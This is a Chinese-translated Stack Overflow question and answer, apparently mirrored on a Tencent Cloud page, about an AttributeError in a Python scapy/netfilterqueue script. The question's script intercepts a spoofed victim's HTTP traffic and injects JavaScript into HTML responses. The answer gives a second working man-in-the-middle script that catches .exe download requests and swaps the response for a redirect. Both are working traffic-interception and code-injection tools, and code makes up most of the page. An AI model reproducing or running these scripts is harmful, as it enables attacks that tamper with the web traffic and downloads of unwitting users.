首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >如果scapy_packet.haslayer(scapy.Raw).load: AttributeError:'int‘对象没有'load’属性

如果scapy_packet.haslayer(scapy.Raw).load: AttributeError:'int‘对象没有'load’属性
EN

Stack Overflow用户
提问于 2019-01-13 20:52:12
回答 1查看 968关注 0票数 0

我正在尝试执行python代码,但是我得到了这个错误。

代码语言:javascript
复制
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
  File "injecting_code.py", line 15, in process_packet
    if scapy_packet.haslayer(scapy.Raw).load:
AttributeError: 'int' object has no attribute 'load'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
  File "injecting_code.py", line 15, in process_packet
    if scapy_packet.haslayer(scapy.Raw).load:
AttributeError: 'int' object has no attribute 'load'
^CTraceback (most recent call last):
  File "injecting_code.py", line 38, in <module>
    queue.run()
KeyboardInterrupt

我正在尝试通过端口80将代码注入到被欺骗的计算机请求中,该端口是http。

我的代码是:

代码语言:javascript
复制
#!/usr/bin/env python

import scapy.all 
import netfilterqueue
import re


def set_load(pkt, load):
    pkt[scapy.all.Raw].load = load
    del pkt[scapy.all.IP].len
    del pkt[scapy.all.IP].chksum
    del pkt[scapy.all.TCP].chksum
    return pkt


def process_packet(pkt):
    scapy_packet = scapy.all.IP(pkt.get_payload())
    if scapy_packet.haslayer(scapy.all.TCP):

        if scapy_packet[scapy.all.TCP].dport == 80:
            print("[+] Request")

            if scapy_packet.haslayer(scapy.all.Raw):
                load = scapy_packet[scapy.all.Raw].load

                load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
                load = load.replace("HTTP/1.1", "HTTP/1.0")

                if load != scapy_packet[scapy.all.Raw].load:
                    new_packet = set_load(scapy_packet, load)
                    pkt.set_payload(str(new_packet))

        elif scapy_packet[scapy.all.TCP].sport == 80:
            print("[+] Response")

            if scapy_packet.haslayer(scapy.all.Raw):
                load = scapy_packet[scapy.all.Raw].load
                inject_code = "<script>alert('Test');</script>"
                load = load.replace("</body>", inject_code + "</body>")
                content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
                if content_length_search and "text/html" in load:
                    content_length = content_length_search.group(1)
                    new_content_length = int(content_length) + len(inject_code)
                    load = load.replace(content_length, str(new_content_length))

                if load != scapy_packet[scapy.all.Raw].load:
                    new_packet = set_load(scapy_packet, load)
                    pkt.set_payload(str(new_packet))

    pkt.accept()    


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
try:
    queue.run()
except KeyboardInterrupt:
    print(" ")

在执行程序之前,我已经启动了iptables和ip转发。我找不到丢失的东西。

请帮帮我。

EN

回答 1

Stack Overflow用户

发布于 2020-11-23 13:58:35

使用它不会给出错误的完整代码,例如

代码语言:javascript
复制
#!/usr/bin/env python
import scapy.all as scapy
import netfilterqueue
ack_list=[]
def process_packet(packet):
   scapy_packet=scapy.IP(packet.get_payload())
   if scapy_packet.haslayer(scapy.Raw):
       if scapy_packet[scapy.TCP].dport==80:
           if ".exe" in scapy_packet[scapy.Raw].load:
               print("[+]exe Reaquest........\n\n")
               ack_list.append(scapy_packet[scapy.TCP].ack)
        elif scapy_packet[scapy.TCP].sport==80:
            if scapy_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(scapy_packet[scapy.TCP].seq)
                print("[+]Replaing file....\n\n")
                scapy_packet[scapy.Raw].load="HTTP/1.1 301 Moved Permanently\nLocation: https://www.win-rar.com/postdownload.html?&L=0\n\n"
                del scapy_packet[scapy.IP].len
                del scapy_packet[scapy.TCP].chksum
                del scapy_packet[scapy.IP].chksum
                packet.set_payload(str(scapy_packet))
    packet.accept()
queue=netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
queue.run()
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/54169058

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档